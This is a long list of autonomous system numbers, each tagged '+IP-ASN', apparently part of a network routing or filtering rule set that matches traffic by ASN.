145037 +IP-ASN, 146368 +IP-ASN, 145038 +IP-ASN, 145039 +IP-ASN, 146365 +IP-ASN, 145033 +IP-ASN, 146364 +IP-ASN, 145034 +IP-ASN, 146367 +IP-ASN, 145035 +IP-ASN, 146366 +IP-ASN, 145036 +IP-ASN, 144570 +IP-ASN, 144575 +IP-ASN, 143243 +IP-ASN, 144576 +IP-ASN, 143242 +IP-ASN, 144577 +IP-ASN, 143241 +IP-ASN, 144578 +IP-ASN, 143240 +IP-ASN, 144571 +IP-ASN, 143247 +IP-ASN, 144572 +IP-ASN, 143246 +IP-ASN, 144573 +IP-ASN, 143245 +IP-ASN, 144574 +IP-ASN, 143244 +IP-ASN, 143249 +IP-ASN, 143248 +IP-ASN, 144579 +IP-ASN, 152186 +IP-ASN, 24490 +IP-ASN, 135629 +IP-ASN, 145890 +IP-ASN, 136959 +IP-ASN, 24495 +IP-ASN, 136958 +IP-ASN, 145895 +IP-ASN, 144564 +IP-ASN, 143232 +IP-ASN, 24489 +IP-ASN, 145896 +IP-ASN, 144565 +IP-ASN, 143231 +IP-ASN, 145897 +IP-ASN, 144566 +IP-ASN, 143230 +IP-ASN, 145898 +IP-ASN, 144567 +IP-ASN, 145891 +IP-ASN, 144560 +IP-ASN, 143236 +IP-ASN, 145892 +IP-ASN, 144561 +IP-ASN, 143235 +IP-ASN, 145893 +IP-ASN, 144562 +IP-ASN, 143234 +IP-ASN, 145894 +IP-ASN, 144563 +IP-ASN, 143233 +IP-ASN, 143239 +IP-ASN, 143238 +IP-ASN, 143237 +IP-ASN, 145899 +IP-ASN, 144568 +IP-ASN, 144569 +IP-ASN, 145884 +IP-ASN, 144553 +IP-ASN, 143221 +IP-ASN, 145885 +IP-ASN, 144554 +IP-ASN, 143220 +IP-ASN, 145886 +IP-ASN, 144555 +IP-ASN, 145887 +IP-ASN, 144556 +IP-ASN, 145880 +IP-ASN, 143225 +IP-ASN, 145881 +IP-ASN, 144550 +IP-ASN, 143224 +IP-ASN, 145882 +IP-ASN, 144551 +IP-ASN, 143223 +IP-ASN, 145883 +IP-ASN, 144552 +IP-ASN, 143222 +IP-ASN, 143229 +IP-ASN, 143228 +IP-ASN, 143227 +IP-ASN, 143226 +IP-ASN, 145888 +IP-ASN, 144557 +IP-ASN, 145889 +IP-ASN, 144558 +IP-ASN, 144559 +IP-ASN, 145873 +IP-ASN, 144542 +IP-ASN, 143210 +IP-ASN, 145874 +IP-ASN, 144543 +IP-ASN, 145875 +IP-ASN, 144544 +IP-ASN, 145876 +IP-ASN, 144545 +IP-ASN, 143214 +IP-ASN, 145870 +IP-ASN, 143213 +IP-ASN, 145871 +IP-ASN, 144540 +IP-ASN, 143212 +IP-ASN, 145872 +IP-ASN, 144541 +IP-ASN, 143211 +IP-ASN, 143218 +IP-ASN, 143217 +IP-ASN, 143216 +IP-ASN, 143215 +IP-ASN, 145877 +IP-ASN, 144546 +IP-ASN, 145878 +IP-ASN, 144547 +IP-ASN, 145879 +IP-ASN, 144548 +IP-ASN, 144549 +IP-ASN, 143219 +IP-ASN, 143283 +IP-ASN, 143282 +IP-ASN, 143281 +IP-ASN, 143280 +IP-ASN, 146314 +IP-ASN, 143287 +IP-ASN, 146313 +IP-ASN, 143286 +IP-ASN, 146316 +IP-ASN, 143285 +IP-ASN, 146315 +IP-ASN, 143284 +IP-ASN, 146310 +IP-ASN, 146312 +IP-ASN, 143289 +IP-ASN, 146311 +IP-ASN, 143288 +IP-ASN, 146318 +IP-ASN, 146317 +IP-ASN, 146319 +IP-ASN, 143272 +IP-ASN, 143271 +IP-ASN, 143270 +IP-ASN, 24444 +IP-ASN, 146303 +IP-ASN, 143276 +IP-ASN, 24445 +IP-ASN, 146302 +IP-ASN, 143275 +IP-ASN, 146305 +IP-ASN, 143274 +IP-ASN, 146304 +IP-ASN, 143273 +IP-ASN, 143279 +IP-ASN, 146301 +IP-ASN, 143278 +IP-ASN, 146300 +IP-ASN, 143277 +IP-ASN, 146307 +IP-ASN, 146306 +IP-ASN, 146309 +IP-ASN, 148969 +IP-ASN, 146308 +IP-ASN, 144590 +IP-ASN, 144591 +IP-ASN, 144592 +IP-ASN, 143261 +IP-ASN, 143260 +IP-ASN, 144597 +IP-ASN, 143265 +IP-ASN, 144598 +IP-ASN, 143264 +IP-ASN, 144599 +IP-ASN, 143263 +IP-ASN, 143262 +IP-ASN, 144593 +IP-ASN, 143269 +IP-ASN, 144594 +IP-ASN, 143268 +IP-ASN, 144595 +IP-ASN, 143267 +IP-ASN, 144596 +IP-ASN, 143266 +IP-ASN, 135646 +IP-ASN, 56002 +IP-ASN, 56000 +IP-ASN, 131285 +IP-ASN, 144580 +IP-ASN, 144581 +IP-ASN, 143250 +IP-ASN, 24430 +IP-ASN, 24422 +IP-ASN, 144586 +IP-ASN, 143254 +IP-ASN, 24423 +IP-ASN, 144587 +IP-ASN, 143253 +IP-ASN, 24424 +IP-ASN, 144588 +IP-ASN, 143252 +IP-ASN, 144589 +IP-ASN, 143251 +IP-ASN, 24426 +IP-ASN, 144582 +IP-ASN, 143258 +IP-ASN, 24427 +IP-ASN, 144583 +IP-ASN, 143257 +IP-ASN, 144584 +IP-ASN, 143256 +IP-ASN, 24429 +IP-ASN, 144585 +IP-ASN, 143255 +IP-ASN, 143259 +IP-ASN, 133952 +IP-ASN, 144609 +IP-ASN, 59089 +IP-ASN, 59083 +IP-ASN, 209574 +IP-ASN, 132623 +IP-ASN, 59080 +IP-ASN, 140250 +IP-ASN, 145940 +IP-ASN, 140251 +IP-ASN, 145941 +IP-ASN, 144610 +IP-ASN, 145942 +IP-ASN, 144611 +IP-ASN, 140254 +IP-ASN, 140255 +IP-ASN, 140252 +IP-ASN, 140253 +IP-ASN, 145947 +IP-ASN, 144616 +IP-ASN, 140258 +IP-ASN, 145948 +IP-ASN, 144617 +IP-ASN, 140259 +IP-ASN, 145949 +IP-ASN, 144618 +IP-ASN, 140256 +IP-ASN, 214921 +IP-ASN, 144619 +IP-ASN, 140257 +IP-ASN, 145943 +IP-ASN, 144612 +IP-ASN, 145944 +IP-ASN, 144613 +IP-ASN, 145945 +IP-ASN, 144614 +IP-ASN, 145946 +IP-ASN, 144615 +IP-ASN, 145929 +IP-ASN, 145930 +IP-ASN, 145931 +IP-ASN, 144600 +IP-ASN, 139266 +IP-ASN, 214911 +IP-ASN, 145936 +IP-ASN, 144605 +IP-ASN, 140247 +IP-ASN, 145937 +IP-ASN, 144606 +IP-ASN, 140248 +IP-ASN, 145938 +IP-ASN, 144607 +IP-ASN, 140245 +IP-ASN, 145939 +IP-ASN, 144608 +IP-ASN, 140246 +IP-ASN, 145932 +IP-ASN, 144601 +IP-ASN, 145933 +IP-ASN, 144602 +IP-ASN, 145934 +IP-ASN, 144603 +IP-ASN, 140249 +IP-ASN, 145935 +IP-ASN, 144604 +IP-ASN, 145918 +IP-ASN, 145919 +IP-ASN, 209556 +IP-ASN, 142891 +IP-ASN, 142890 +IP-ASN, 145920 +IP-ASN, 139231 +IP-ASN, 142895 +IP-ASN, 142894 +IP-ASN, 142893 +IP-ASN, 142892 +IP-ASN, 145925 +IP-ASN, 142899 +IP-ASN, 145926 +IP-ASN, 142898 +IP-ASN, 145927 +IP-ASN, 142897 +IP-ASN, 145928 +IP-ASN, 142896 +IP-ASN, 145921 +IP-ASN, 145922 +IP-ASN, 145923 +IP-ASN, 140238 +IP-ASN, 145924 +IP-ASN, 145907 +IP-ASN, 145908 +IP-ASN, 145909 +IP-ASN, 139249 +IP-ASN, 142880 +IP-ASN, 142884 +IP-ASN, 142883 +IP-ASN, 142882 +IP-ASN, 142881 +IP-ASN, 145914 +IP-ASN, 142888 +IP-ASN, 145915 +IP-ASN, 142887 +IP-ASN, 145916 +IP-ASN, 142886 +IP-ASN, 145917 +IP-ASN, 142885 +IP-ASN, 145910 +IP-ASN, 145911 +IP-ASN, 145912 +IP-ASN, 145913 +IP-ASN, 142889 +IP-ASN, 140290 +IP-ASN, 140291 +IP-ASN, 145983 +IP-ASN, 144652 +IP-ASN, 143320 +IP-ASN, 140294 +IP-ASN, 145984 +IP-ASN, 144653 +IP-ASN, 140295 +IP-ASN, 140292 +IP-ASN, 145985 +IP-ASN, 144654 +IP-ASN, 145986 +IP-ASN, 144655 +IP-ASN, 140293 +IP-ASN, 143324 +IP-ASN, 140298 +IP-ASN, 145980 +IP-ASN, 143323 +IP-ASN, 140299 +IP-ASN, 145981 +IP-ASN, 144650 +IP-ASN, 143322 +IP-ASN, 140296 +IP-ASN, 145982 +IP-ASN, 144651 +IP-ASN, 143321 +IP-ASN, 140297 +IP-ASN, 143328 +IP-ASN, 143327 +IP-ASN, 143326 +IP-ASN, 143325 +IP-ASN, 145987 +IP-ASN, 144656 +IP-ASN, 145988 +IP-ASN, 144657 +IP-ASN, 145989 +IP-ASN, 144658 +IP-ASN, 144659 +IP-ASN, 143329 +IP-ASN, 145972 +IP-ASN, 144641 +IP-ASN, 145973 +IP-ASN, 144642 +IP-ASN, 145974 +IP-ASN, 144643 +IP-ASN, 145975 +IP-ASN, 144644 +IP-ASN, 143313 +IP-ASN, 143312 +IP-ASN, 145970 +IP-ASN, 143311 +IP-ASN, 145971 +IP-ASN, 144640 +IP-ASN, 143310 +IP-ASN, 144649 +IP-ASN, 143317 +IP-ASN, 143316 +IP-ASN, 211843 +IP-ASN, 143315 +IP-ASN, 143314 +IP-ASN, 145976 +IP-ASN, 144645 +IP-ASN, 145977 +IP-ASN, 144646 +IP-ASN, 145978 +IP-ASN, 144647 +IP-ASN, 143319 +IP-ASN, 145979 +IP-ASN, 144648 +IP-ASN, 143318 +IP-ASN, 205152 +IP-ASN, 145961 +IP-ASN, 144630 +IP-ASN, 145962 +IP-ASN, 144631 +IP-ASN, 145963 +IP-ASN, 144632 +IP-ASN, 145964 +IP-ASN, 144633 +IP-ASN, 140276 +IP-ASN, 143302 +IP-ASN, 143301 +IP-ASN, 143300 +IP-ASN, 145960 +IP-ASN, 145969 +IP-ASN, 144638 +IP-ASN, 143306 +IP-ASN, 144639 +IP-ASN, 143305 +IP-ASN, 140278 +IP-ASN, 143304 +IP-ASN, 143303 +IP-ASN, 145965 +IP-ASN, 144634 +IP-ASN, 145966 +IP-ASN, 144635 +IP-ASN, 143309 +IP-ASN, 145967 +IP-ASN, 144636 +IP-ASN, 143308 +IP-ASN, 145968 +IP-ASN, 144637 +IP-ASN, 143307 +IP-ASN, 131325 +IP-ASN, 145950 +IP-ASN, 140261 +IP-ASN, 145951 +IP-ASN, 144620 +IP-ASN, 145952 +IP-ASN, 144621 +IP-ASN, 145953 +IP-ASN, 144622 +IP-ASN, 140260 +IP-ASN, 140265 +IP-ASN, 145958 +IP-ASN, 144627 +IP-ASN, 145959 +IP-ASN, 144628 +IP-ASN, 144629 +IP-ASN, 145954 +IP-ASN, 144623 +IP-ASN, 145955 +IP-ASN, 144624 +IP-ASN, 145956 +IP-ASN, 144625 +IP-ASN, 145957 +IP-ASN, 144626 +IP-ASN, 59003 +IP-ASN, 142829 +IP-ASN, 142828 +IP-ASN, 142827 +IP-ASN, 136146 +IP-ASN, 151782 +IP-ASN, 151785 +IP-ASN, 9929 +IP-ASN, 142833 +IP-ASN, 142832 +IP-ASN, 142831 +IP-ASN, 142830 +IP-ASN, 142837 +IP-ASN, 142836 +IP-ASN, 142835 +IP-ASN, 142834 +IP-ASN, 142819 +IP-ASN, 142818 +IP-ASN, 142817 +IP-ASN, 59016 +IP-ASN, 145090 +IP-ASN, 142816 +IP-ASN, 59011 +IP-ASN, 59012 +IP-ASN, 145095 +IP-ASN, 145096 +IP-ASN, 145097 +IP-ASN, 145098 +IP-ASN, 145091 +IP-ASN, 145092 +IP-ASN, 145093 +IP-ASN, 9939 +IP-ASN, 145094 +IP-ASN, 145099 +IP-ASN, 142822 +IP-ASN, 142821 +IP-ASN, 142820 +IP-ASN, 142826 +IP-ASN, 142825 +IP-ASN, 142824 +IP-ASN, 59009 +IP-ASN, 142823 +IP-ASN, 142808 +IP-ASN, 59025 +IP-ASN, 142807 +IP-ASN, 142806 +IP-ASN, 142805 +IP-ASN, 59022 +IP-ASN, 142809 +IP-ASN, 145084 +IP-ASN, 145085 +IP-ASN, 145086 +IP-ASN, 145087 +IP-ASN, 145080 +IP-ASN, 145081 +IP-ASN, 145082 +IP-ASN, 145083 +IP-ASN, 145088 +IP-ASN, 145089 +IP-ASN, 142811 +IP-ASN, 142810 +IP-ASN, 142815 +IP-ASN, 142814 +IP-ASN, 59019 +IP-ASN, 142813 +IP-ASN, 142812 +IP-ASN, 59037 +IP-ASN, 59033 +IP-ASN, 59034 +IP-ASN, 145073 +IP-ASN, 145074 +IP-ASN, 145075 +IP-ASN, 145076 +IP-ASN, 145070 +IP-ASN, 145071 +IP-ASN, 145072 +IP-ASN, 145077 +IP-ASN, 145078 +IP-ASN, 145079 +IP-ASN, 142800 +IP-ASN, 142804 +IP-ASN, 59029 +IP-ASN, 142803 +IP-ASN, 142802 +IP-ASN, 142801 +IP-ASN, 59048 +IP-ASN, 59049 +IP-ASN, 59043 +IP-ASN, 59045 +IP-ASN, 136189 +IP-ASN, 139216 +IP-ASN, 136180 +IP-ASN, 142873 +IP-ASN, 142872 +IP-ASN, 142871 +IP-ASN, 142870 +IP-ASN, 136188 +IP-ASN, 145903 +IP-ASN, 142877 +IP-ASN, 145904 +IP-ASN, 142876 +IP-ASN, 145905 +IP-ASN, 142875 +IP-ASN, 145906 +IP-ASN, 142874 +IP-ASN, 214963 +IP-ASN, 145900 +IP-ASN, 145901 +IP-ASN, 142879 +IP-ASN, 145902 +IP-ASN, 142878 +IP-ASN, 59057 +IP-ASN, 23911 +IP-ASN, 23910 +IP-ASN, 136191 +IP-ASN, 136190 +IP-ASN, 139220 +IP-ASN, 142862 +IP-ASN, 142861 +IP-ASN, 142860 +IP-ASN, 136199 +IP-ASN, 142866 +IP-ASN, 136198 +IP-ASN, 142865 +IP-ASN, 136197 +IP-ASN, 142864 +IP-ASN, 142863 +IP-ASN, 136195 +IP-ASN, 136194 +IP-ASN, 142869 +IP-ASN, 142868 +IP-ASN, 136192 +IP-ASN, 142867 +IP-ASN, 59068 +IP-ASN, 142849 +IP-ASN, 59065 +IP-ASN, 59067 +IP-ASN, 208266 +IP-ASN, 214948 +IP-ASN, 142851 +IP-ASN, 142850 +IP-ASN, 142855 +IP-ASN, 142854 +IP-ASN, 142853 +IP-ASN, 142852 +IP-ASN, 142859 +IP-ASN, 142858 +IP-ASN, 136160 +IP-ASN, 142857 +IP-ASN, 142856 +IP-ASN, 142839 +IP-ASN, 142838 +IP-ASN, 59077 +IP-ASN, 59078 +IP-ASN, 139203 +IP-ASN, 149475 +IP-ASN, 209586 +IP-ASN, 59073 +IP-ASN, 59074 +IP-ASN, 142840 +IP-ASN, 139201 +IP-ASN, 142844 +IP-ASN, 214934 +IP-ASN, 142843 +IP-ASN, 142842 +IP-ASN, 142841 +IP-ASN, 136173 +IP-ASN, 142848 +IP-ASN, 142847 +IP-ASN, 142846 +IP-ASN, 142845 +IP-ASN, 146231 +IP-ASN, 146230 +IP-ASN, 146237 +IP-ASN, 146236 +IP-ASN, 146239 +IP-ASN, 146238 +IP-ASN, 146233 +IP-ASN, 146232 +IP-ASN, 146235 +IP-ASN, 146234 +IP-ASN, 140915 +IP-ASN, 58563 +IP-ASN, 140913 +IP-ASN, 143191 +IP-ASN, 143190 +IP-ASN, 146220 +IP-ASN, 143195 +IP-ASN, 143194 +IP-ASN, 143193 +IP-ASN, 143192 +IP-ASN, 146226 +IP-ASN, 143199 +IP-ASN, 146225 +IP-ASN, 143198 +IP-ASN, 146228 +IP-ASN, 143197 +IP-ASN, 146227 +IP-ASN, 143196 +IP-ASN, 146222 +IP-ASN, 146221 +IP-ASN, 146224 +IP-ASN, 146223 +IP-ASN, 146229 +IP-ASN, 140903 +IP-ASN, 58571 +IP-ASN, 143180 +IP-ASN, 143184 +IP-ASN, 143183 +IP-ASN, 143182 +IP-ASN, 143181 +IP-ASN, 146215 +IP-ASN, 143188 +IP-ASN, 146214 +IP-ASN, 143187 +IP-ASN, 146217 +IP-ASN, 143186 +IP-ASN, 146216 +IP-ASN, 143185 +IP-ASN, 146211 +IP-ASN, 146210 +IP-ASN, 146213 +IP-ASN, 146212 +IP-ASN, 143189 +IP-ASN, 146219 +IP-ASN, 146218 +IP-ASN, 134238 +IP-ASN, 143173 +IP-ASN, 143172 +IP-ASN, 143171 +IP-ASN, 143170 +IP-ASN, 146204 +IP-ASN, 143177 +IP-ASN, 45275 +IP-ASN, 146203 +IP-ASN, 143176 +IP-ASN, 146206 +IP-ASN, 143175 +IP-ASN, 146205 +IP-ASN, 143174 +IP-ASN, 146200 +IP-ASN, 146202 +IP-ASN, 143179 +IP-ASN, 146201 +IP-ASN, 143178 +IP-ASN, 146208 +IP-ASN, 146207 +IP-ASN, 146209 +IP-ASN, 58593 +IP-ASN, 146273 +IP-ASN, 146272 +IP-ASN, 146275 +IP-ASN, 146274 +IP-ASN, 146271 +IP-ASN, 146270 +IP-ASN, 146277 +IP-ASN, 146276 +IP-ASN, 146279 +IP-ASN, 146278 +IP-ASN, 138641 +IP-ASN, 146262 +IP-ASN, 146261 +IP-ASN, 146264 +IP-ASN, 146263 +IP-ASN, 146260 +IP-ASN, 146269 +IP-ASN, 146266 +IP-ASN, 146265 +IP-ASN, 146268 +IP-ASN, 146267 +IP-ASN, 146251 +IP-ASN, 146250 +IP-ASN, 146253 +IP-ASN, 146252 +IP-ASN, 200256 +IP-ASN, 146259 +IP-ASN, 146258 +IP-ASN, 146255 +IP-ASN, 146254 +IP-ASN, 146257 +IP-ASN, 146256 +IP-ASN, 146240 +IP-ASN, 200268 +IP-ASN, 146242 +IP-ASN, 146241 +IP-ASN, 23853 +IP-ASN, 138635 +IP-ASN, 23852 +IP-ASN, 200267 +IP-ASN, 23851 +IP-ASN, 146248 +IP-ASN, 146247 +IP-ASN, 146249 +IP-ASN, 146244 +IP-ASN, 146243 +IP-ASN, 205947 +IP-ASN, 146246 +IP-ASN, 146245 +IP-ASN, 212237 +IP-ASN, 214899 +IP-ASN, 145780 +IP-ASN, 131137 +IP-ASN, 145785 +IP-ASN, 144454 +IP-ASN, 143122 +IP-ASN, 145786 +IP-ASN, 144455 +IP-ASN, 143121 +IP-ASN, 145787 +IP-ASN, 144456 +IP-ASN, 143120 +IP-ASN, 139099 +IP-ASN, 55439 +IP-ASN, 145788 +IP-ASN, 144457 +IP-ASN, 145781 +IP-ASN, 144450 +IP-ASN, 143126 +IP-ASN, 145782 +IP-ASN, 144451 +IP-ASN, 143125 +IP-ASN, 145783 +IP-ASN, 144452 +IP-ASN, 143124 +IP-ASN, 145784 +IP-ASN, 144453 +IP-ASN, 143123 +IP-ASN, 143129 +IP-ASN, 139090 +IP-ASN, 143128 +IP-ASN, 143127 +IP-ASN, 145789 +IP-ASN, 144458 +IP-ASN, 144459 +IP-ASN, 24370 +IP-ASN, 24371 +IP-ASN, 24372 +IP-ASN, 132479 +IP-ASN, 24376 +IP-ASN, 24367 +IP-ASN, 145774 +IP-ASN, 144443 +IP-ASN, 143111 +IP-ASN, 24368 +IP-ASN, 145775 +IP-ASN, 144444 +IP-ASN, 143110 +IP-ASN, 24369 +IP-ASN, 140083 +IP-ASN, 145776 +IP-ASN, 144445 +IP-ASN, 145777 +IP-ASN, 144446 +IP-ASN, 145770 +IP-ASN, 143115 +IP-ASN, 145771 +IP-ASN, 144440 +IP-ASN, 143114 +IP-ASN, 145772 +IP-ASN, 144441 +IP-ASN, 143113 +IP-ASN, 145773 +IP-ASN, 144442 +IP-ASN, 143112 +IP-ASN, 143119 +IP-ASN, 143118 +IP-ASN, 143117 +IP-ASN, 143116 +IP-ASN, 145778 +IP-ASN, 144447 +IP-ASN, 145779 +IP-ASN, 144448 +IP-ASN, 144449 +IP-ASN, 133774 +IP-ASN, 133776 +IP-ASN, 133775 +IP-ASN, 55461 +IP-ASN, 24360 +IP-ASN, 24361 +IP-ASN, 24362 +IP-ASN, 24363 +IP-ASN, 24364 +IP-ASN, 24365 +IP-ASN, 24366 +IP-ASN, 24356 +IP-ASN, 145763 +IP-ASN, 144432 +IP-ASN, 143100 +IP-ASN, 24357 +IP-ASN, 145764 +IP-ASN, 144433 +IP-ASN, 24358 +IP-ASN, 145765 +IP-ASN, 144434 +IP-ASN, 24359 +IP-ASN, 145766 +IP-ASN, 144435 +IP-ASN, 143104 +IP-ASN, 145760 +IP-ASN, 143103 +IP-ASN, 145761 +IP-ASN, 144430 +IP-ASN, 143102 +IP-ASN, 145762 +IP-ASN, 144431 +IP-ASN, 143101 +IP-ASN, 143108 +IP-ASN, 143107 +IP-ASN, 143106 +IP-ASN, 143105 +IP-ASN, 145767 +IP-ASN, 144436 +IP-ASN, 145768 +IP-ASN, 144437 +IP-ASN, 145769 +IP-ASN, 144438 +IP-ASN, 144439 +IP-ASN, 143109 +IP-ASN, 139073 +IP-ASN, 24350 +IP-ASN, 24351 +IP-ASN, 24352 +IP-ASN, 24353 +IP-ASN, 24354 +IP-ASN, 24355 +IP-ASN, 145752 +IP-ASN, 144421 +IP-ASN, 145753 +IP-ASN, 144422 +IP-ASN, 140061 +IP-ASN, 145754 +IP-ASN, 144423 +IP-ASN, 24348 +IP-ASN, 145755 +IP-ASN, 144424 +IP-ASN, 24349 +IP-ASN, 145750 +IP-ASN, 145751 +IP-ASN, 144420 +IP-ASN, 144429 +IP-ASN, 139080 +IP-ASN, 145756 +IP-ASN, 144425 +IP-ASN, 145757 +IP-ASN, 144426 +IP-ASN, 145758 +IP-ASN, 144427 +IP-ASN, 55468 +IP-ASN, 145759 +IP-ASN, 144428 +IP-ASN, 144490 +IP-ASN, 144491 +IP-ASN, 144492 +IP-ASN, 144493 +IP-ASN, 143162 +IP-ASN, 143161 +IP-ASN, 143160 +IP-ASN, 144498 +IP-ASN, 143166 +IP-ASN, 144499 +IP-ASN, 143165 +IP-ASN, 143164 +IP-ASN, 143163 +IP-ASN, 144494 +IP-ASN, 144495 +IP-ASN, 143169 +IP-ASN, 144496 +IP-ASN, 143168 +IP-ASN, 144497 +IP-ASN, 143167 +IP-ASN, 131171 +IP-ASN, 58520 +IP-ASN, 144480 +IP-ASN, 144481 +IP-ASN, 144482 +IP-ASN, 143151 +IP-ASN, 143150 +IP-ASN, 144487 +IP-ASN, 143155 +IP-ASN, 144488 +IP-ASN, 143154 +IP-ASN, 144489 +IP-ASN, 143153 +IP-ASN, 143152 +IP-ASN, 58519 +IP-ASN, 144483 +IP-ASN, 143159 +IP-ASN, 144484 +IP-ASN, 143158 +IP-ASN, 144485 +IP-ASN, 143157 +IP-ASN, 144486 +IP-ASN, 143156 +IP-ASN, 198266 +IP-ASN, 58517 +IP-ASN, 58518 +IP-ASN, 144470 +IP-ASN, 144471 +IP-ASN, 143140 +IP-ASN, 144476 +IP-ASN, 143144 +IP-ASN, 144477 +IP-ASN, 143143 +IP-ASN, 144478 +IP-ASN, 143142 +IP-ASN, 144479 +IP-ASN, 143141 +IP-ASN, 144472 +IP-ASN, 143148 +IP-ASN, 144473 +IP-ASN, 143147 +IP-ASN, 144474 +IP-ASN, 143146 +IP-ASN, 144475 +IP-ASN, 143145 +IP-ASN, 143149 +IP-ASN, 152092 +IP-ASN, 58540 +IP-ASN, 58541 +IP-ASN, 58542 +IP-ASN, 58543 +IP-ASN, 145790 +IP-ASN, 145791 +IP-ASN, 144460 +IP-ASN, 145796 +IP-ASN, 144465 +IP-ASN, 143133 +IP-ASN, 24302 +IP-ASN, 145797 +IP-ASN, 144466 +IP-ASN, 143132 +IP-ASN, 145798 +IP-ASN, 144467 +IP-ASN, 143131 +IP-ASN, 145799 +IP-ASN, 144468 +IP-ASN, 143130 +IP-ASN, 145792 +IP-ASN, 144461 +IP-ASN, 143137 +IP-ASN, 145793 +IP-ASN, 144462 +IP-ASN, 143136 +IP-ASN, 145794 +IP-ASN, 144463 +IP-ASN, 143135 +IP-ASN, 145795 +IP-ASN, 144464 +IP-ASN, 143134 +IP-ASN, 58539 +IP-ASN, 143139 +IP-ASN, 143138 +IP-ASN, 144469 +IP-ASN, 58536 +IP-ASN, 145819 +IP-ASN, 139137 +IP-ASN, 139138 +IP-ASN, 139139 +IP-ASN, 152118 +IP-ASN, 142792 +IP-ASN, 142791 +IP-ASN, 145820 +IP-ASN, 142790 +IP-ASN, 145821 +IP-ASN, 142796 +IP-ASN, 142795 +IP-ASN, 142794 +IP-ASN, 139136 +IP-ASN, 142793 +IP-ASN, 145826 +IP-ASN, 145827 +IP-ASN, 142799 +IP-ASN, 145828 +IP-ASN, 142798 +IP-ASN, 145829 +IP-ASN, 142797 +IP-ASN, 145822 +IP-ASN, 145823 +IP-ASN, 199684 +IP-ASN, 145824 +IP-ASN, 145825 +IP-ASN, 132510 +IP-ASN, 145808 +IP-ASN, 145809 +IP-ASN, 139148 +IP-ASN, 133846 +IP-ASN, 142781 +IP-ASN, 139141 +IP-ASN, 142780 +IP-ASN, 145810 +IP-ASN, 142785 +IP-ASN, 142784 +IP-ASN, 142783 +IP-ASN, 142782 +IP-ASN, 145815 +IP-ASN, 142789 +IP-ASN, 145816 +IP-ASN, 142788 +IP-ASN, 145817 +IP-ASN, 142787 +IP-ASN, 145818 +IP-ASN, 142786 +IP-ASN, 145811 +IP-ASN, 145812 +IP-ASN, 145813 +IP-ASN, 145814 +IP-ASN, 139118 +IP-ASN, 142770 +IP-ASN, 139110 +IP-ASN, 210426 +IP-ASN, 142774 +IP-ASN, 142773 +IP-ASN, 139112 +IP-ASN, 142772 +IP-ASN, 142771 +IP-ASN, 145804 +IP-ASN, 142778 +IP-ASN, 145805 +IP-ASN, 142777 +IP-ASN, 145806 +IP-ASN, 142776 +IP-ASN, 38057 +IP-ASN, 145807 +IP-ASN, 142775 +IP-ASN, 141445 +IP-ASN, 145800 +IP-ASN, 145801 +IP-ASN, 145802 +IP-ASN, 145803 +IP-ASN, 142779 +IP-ASN, 139122 +IP-ASN, 142763 +IP-ASN, 142762 +IP-ASN, 142761 +IP-ASN, 142760 +IP-ASN, 142767 +IP-ASN, 140105 +IP-ASN, 142766 +IP-ASN, 142765 +IP-ASN, 7497 +IP-ASN, 142764 +IP-ASN, 142769 +IP-ASN, 142768 +IP-ASN, 152157 +IP-ASN, 145862 +IP-ASN, 144531 +IP-ASN, 145863 +IP-ASN, 144532 +IP-ASN, 145864 +IP-ASN, 144533 +IP-ASN, 145865 +IP-ASN, 144534 +IP-ASN, 139177 +IP-ASN, 143203 +IP-ASN, 139178 +IP-ASN, 143202 +IP-ASN, 139179 +IP-ASN, 145860 +IP-ASN, 143201 +IP-ASN, 145861 +IP-ASN, 144530 +IP-ASN, 143200 +IP-ASN, 144539 +IP-ASN, 143207 +IP-ASN, 143206 +IP-ASN, 143205 +IP-ASN, 143204 +IP-ASN, 145866 +IP-ASN, 144535 +IP-ASN, 145867 +IP-ASN, 144536 +IP-ASN, 145868 +IP-ASN, 144537 +IP-ASN, 143209 +IP-ASN, 139172 +IP-ASN, 145869 +IP-ASN, 144538 +IP-ASN, 143208 +IP-ASN, 132553 +IP-ASN, 145851 +IP-ASN, 144520 +IP-ASN, 145852 +IP-ASN, 144521 +IP-ASN, 145853 +IP-ASN, 144522 +IP-ASN, 145854 +IP-ASN, 144523 +IP-ASN, 139189 +IP-ASN, 198304 +IP-ASN, 145850 +IP-ASN, 145859 +IP-ASN, 144528 +IP-ASN, 144529 +IP-ASN, 139180 +IP-ASN, 145855 +IP-ASN, 144524 +IP-ASN, 145856 +IP-ASN, 144525 +IP-ASN, 139182 +IP-ASN, 145857 +IP-ASN, 144526 +IP-ASN, 139183 +IP-ASN, 145858 +IP-ASN, 144527 +IP-ASN, 132525 +IP-ASN, 145840 +IP-ASN, 145841 +IP-ASN, 144510 +IP-ASN, 145842 +IP-ASN, 144511 +IP-ASN, 139154 +IP-ASN, 145843 +IP-ASN, 144512 +IP-ASN, 145848 +IP-ASN, 144517 +IP-ASN, 145849 +IP-ASN, 144518 +IP-ASN, 144519 +IP-ASN, 145844 +IP-ASN, 144513 +IP-ASN, 145845 +IP-ASN, 144514 +IP-ASN, 145846 +IP-ASN, 144515 +IP-ASN, 145847 +IP-ASN, 144516 +IP-ASN, 152120 +IP-ASN, 133865 +IP-ASN, 132536 +IP-ASN, 145830 +IP-ASN, 145831 +IP-ASN, 144500 +IP-ASN, 145832 +IP-ASN, 144501 +IP-ASN, 145837 +IP-ASN, 144506 +IP-ASN, 145838 +IP-ASN, 144507 +IP-ASN, 145839 +IP-ASN, 144508 +IP-ASN, 144509 +IP-ASN, 145833 +IP-ASN, 144502 +IP-ASN, 145834 +IP-ASN, 144503 +IP-ASN, 145835 +IP-ASN, 144504 +IP-ASN, 145836 +IP-ASN, 144505 +IP-ASN, 139161 +IP-ASN, 142709 +IP-ASN, 142708 +IP-ASN, 142707 +IP-ASN, 142706 +IP-ASN, 23848 +IP-ASN, 23844 +IP-ASN, 23842 +IP-ASN, 23841 +IP-ASN, 142712 +IP-ASN, 142711 +IP-ASN, 142710 +IP-ASN, 142716 +IP-ASN, 142715 +IP-ASN, 142714 +IP-ASN, 142713 +IP-ASN, 214871 +IP-ASN, 23839 +IP-ASN, 150323 +IP-ASN, 49575 +IP-ASN, 205923 +IP-ASN, 142701 +IP-ASN, 142700 +IP-ASN, 142705 +IP-ASN, 142704 +IP-ASN, 142703 +IP-ASN, 142702 +IP-ASN, 151640 +IP-ASN, 146295 +IP-ASN, 146294 +IP-ASN, 146297 +IP-ASN, 146296 +IP-ASN, 146291 +IP-ASN, 146290 +IP-ASN, 146293 +IP-ASN, 146292 +IP-ASN, 146299 +IP-ASN, 146298 +IP-ASN, 140979 +IP-ASN, 